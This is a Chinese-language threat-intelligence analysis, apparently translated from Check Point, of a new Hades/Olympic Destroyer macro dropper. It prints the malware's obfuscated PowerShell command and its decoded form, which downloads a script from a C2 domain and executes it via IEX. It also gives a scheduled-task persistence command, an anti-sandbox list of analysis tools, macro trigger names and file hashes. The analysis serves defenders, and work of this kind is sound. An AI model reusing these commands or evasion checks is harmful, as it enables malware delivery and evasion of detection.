研究人员最近发现Hades APT组织的一些新的攻击活动,Hades是Olympic Destroyer攻击的幕后黑手。这波新的攻击与之前的攻击活动共享一些特征,但也有一些部分得到了进化。

宏进化

为了证明Hades使用的宏的进化过程,研究人员画了一个宏调用图:

每个样本都表示宏的第一个变种的新循环。
字符串编码方法和其他线索都显示近期同一攻击者创建了多个文档,使用的混淆方法也是相同的。

之前样本的感染流

除了最近dropper的例外以外,所有的样本在第一阶段执行时都有类似的功能:

更多信息参见Kaspersky的<a href=“https://securelist.com/olympic-destroyer-is-still-alive/86169/”>分析报告</a>https://securelist.com/olympic-destroyer-is-still-alive/86169/

新Dropper变种

该样本最早是2018年10月12日被上传到Virustotal,来源是乌克兰。样本的编码和代码风格与Hades dropper之前的系列非常相似。但新加入了反分析和延迟执行特征。这些新特征也证明非常有效,因为常见的在线沙箱都不能分析其进程活动和网络活动,因此该dropper看似是非恶意的。

新调用图:样本的调用图并不复杂,主要是重新设计和加入了新的特征。

样本详情

MD5:
cd15a7c3cb1725dc9d21160c26ab9c2e
File name:
“ТЕХНИЧЕСКОЕ_ЗАДАНИЕ_НА_РАЗРАБОТКУ_МОБИЛЬНОГО_ПРИЛОЖЕНИЯ.doc”
Creation date:
2018-10-09 07:23:00
Author:
James

新感染流

1-DOC诱饵文件

起初用户看到的是一个空白页。
启用宏后,宏就会将白色的文本变成黑色,就可以看到内容了。

文档的内容是来源于网络的合法文档。

2-WMI 反分析

宏使用WMI通过运行进程来进行循环:

然后将返回的进程名与主流的分析工具进行比较,宏也会确认至少40个运行的进程。进程数可以有效应对沙箱和分析环境。

分析工具列表:

HaCKER,MalzILlA,pRocExP,WiREShARK,HxD,PowERsheLl_iSE,idA,Olly,fiDDLEr,mALwAre,VmtoOLsd,SWingBoX,vboXTrAY,secunia,hijack,VmtoOlsd’,Vbox,vMWaRE,VXsTReaM,AUtOIt,vmToOls,TcpVIeW,WiREShARK,prOCEss expLorer,VIsuAl bASiC,fiDDLEr

分析笔记:
上面的工具列表都在老变种的Powershell阶段。

3-释放HTA到硬盘

dropper会将解码的HTA文件写入%APPDATA%\WPFT532.hta

4-5计划任务

为HTA创建一个计划任务,并且在早晨的时间段运行。
schtasks /Create /F /SC DAILY /ST “10:20” /TN “DriveCloudTaskCoreCheck” /TR “mshta C:\\Users\\[user]\\AppData\\Roaming\\WPFT532.hta

参数:

/F – 强制创建任务,忽略警告
/SC –计划每日任务
/ST –开始时间
/TN –任务时间

6-HTA执行

HTA文件使用VBscirpt脚本来解码下一阶段的命令行,这与使用宏阶段的技术和解码器是一样的。

7-9 Powershell下载和执行

HTA代码会用混淆的powershell执行下面的命令行:

c:\\WiNDOws\\sYsTEM32\\Cmd.eXE /c “Set AYW= -jOIn[CHAr[]] (40 ,39 , 40 , 78,39, 43,39 , 101, 119, 45, 79,39, 43 ,39 , 98,106 , 101 ,99 ,116 , 32 , 78,101 , 116 , 46 ,87, 39 , 43, 39 ,101 , 98 , 99 , 108, 105 ,101 ,110, 116 , 41,39 , 43 ,39,46,39,43 ,39 ,100 , 111,119 , 110 ,108 , 111 ,39,43 ,39, 97 , 100,115 ,116, 114,105 , 110 , 103,40 ,72 ,108, 39,43,39, 106,104,116 , 39 , 43 , 39 , 116 ,112, 58 , 39, 43,39 , 47, 47, 102 ,105, 110 , 100 , 117, 112 , 100, 97 ,39 , 43,39 , 116 ,101,39 ,43,39 , 109, 115 ,46,99 ,111, 109 , 47,99 , 104,39, 43,39, 101, 39 , 43 , 39,99 ,107 ,47,105 ,110,39 ,43 , 39 , 100 , 101 ,120,72,108, 106, 41,39 ,43 ,39, 52, 106 , 39,43,39 , 122,73 , 69,88, 39, 41 ,46 ,82 ,101, 112, 76 , 97,67,101, 40 ,40 ,91 , 99, 104,65 ,114 ,93,55, 50,43 ,91, 99, 104,65 , 114, 93,49,48,56, 43,91 ,99, 104,65 ,114,93,49, 48 ,54 , 41, 44,91,83,116 , 114, 73 ,110,103, 93 ,91 ,99 ,104,65, 114 ,93,51, 57 , 41, 46 ,82,101,112,76, 97, 67 ,101, 40 , 40,91,99, 104, 65, 114, 93, 53 ,50, 43 ,91 , 99 ,104, 65, 114 , 93,49,48,54, 43, 91 ,99, 104, 65,114,93 , 49 , 50 ,50,41,44, 39, 124 , 39 ,41 , 124 , 32, 46 ,32 , 40 , 32 ,36, 69, 110 ,86 , 58,67 , 79, 109 , 83, 80, 101 , 99 ,91,52 , 44 ,50, 52 ,44 ,50,53, 93 , 45 , 106,79 ,73 ,110 ,39 , 39, 41)^| . ( $pshOme[21]+$PSHoMe[30]+’x’) &&Set gnPq=ECHO inVOKe-ExPRessiON (get-ItEM eNV:AYw).valUe ^| pOWERsHElL -noPRoFI -EXEcuTiONpOlI BYPASS -noNi -NoeXi -WindoWStYlE HIdDen -&& c:\\WiNDOws\\sYsTEM32\\Cmd.eXE /c %gNpq%”

Powershell deobfuscation stage 1:

(‘(N’+’ew-O’+’bject Net.W’+’ebclient)’+’.’+’downlo’+’adstring(Hl’+’jht’+’tp:’+’//findupda’+’te’+’ms.com/ch’+’e’+’ck/in’+’dexHlj)’+’4j’+’zIEX’).RepLaCe(([chAr]72+[chAr]108+[chAr]106),[StrIng][chAr]39).RepLaCe(([chAr]52+[chAr]106+[chAr]122),’|’)

Powershell deobfuscation stage 2:

(New-Object Net.Webclient).downloadstring(‘<http://findupdatems>[.]com/check/index’)|IEX
The downloaded string is evaluated as an additional Powershell to execute. At the time of analysis, we are unable to download the second stage payload.

Common Indicators

Hades的doc文件和宏混淆器有一些独特的特征可以用来区分其他dropper。这些特征在新变种和之前的宏版本中都存在。
元数据
虽然不是很有区分性,但大多数dopper都包含以下三个文档作者之一:

James, john or AV

Dummy Code

If描述的判断结果一般都是true:

为了返回0的函数:

编码函数

字符串和第2阶段代码都编码在宏中:

为了反混淆字符串,使用了解码函数(MSART8)。

解码函数是减小每个编码的字符的值(常数)。比如,如果当前常数值是5,编码字符的ASCII值就减5。不同样本中的这些常数值是不同的。

另一个解码器是将十六进制字符串转换为文本:

文档诱饵函数

大多数droppers在用户启用宏以后用两种方法来改变文档的显示内容:

初始触发器

Hades尽量不使用AutoOpen这类常见的代码触发器,以绕过模拟器的静态检测和分析。
之前使用的触发器有:

MultiPage1_Layout
Frame1_Layout
SystemMonitor1_GotFocus
Image1_MouseMove
ImageCombo21_Change

网络基础设施

Hades的droppers会用被黑的服务器作为第二阶段的C2。虽然并不了解Hades的基础设施,但是一些dropper在与C2通信时出现了一些错误。

这些错误暗示被黑的服务器只是一个代理,请求实际上是被重定向到另一个Empire后台的服务器的。

e160ca75a0e8c4bc9177f412b09e7a29生成的请求(first seen: 2018-06-05)

ac85b1fff1fe43ddad28bf1c4ce021c5生成的请求 (first seen: 2018-10-11)

请求流

代理的功能以Hop Listeners的形式嵌入到Empire中:https://github.com/EmpireProject/Empire/blob/master/data/misc/hop.php。在hop.php文件的第25行有一个file_get_contents函数,与错误信息中的一致。

总结

Hades组织并没有放慢其攻击活动的步伐,相反,其攻击能力越来越强。其最新活动为一个新的之前从未出现过的dropper变种。而Hades每次引入新的dropper,都只有少量反病毒厂商能够成功检测到,这也说明Hades的大多数攻击活动可能都没有被发现。

https://research.checkpoint.com/new-strain-of-olympic-destroyer-droppers/

源链接

Hacking more

...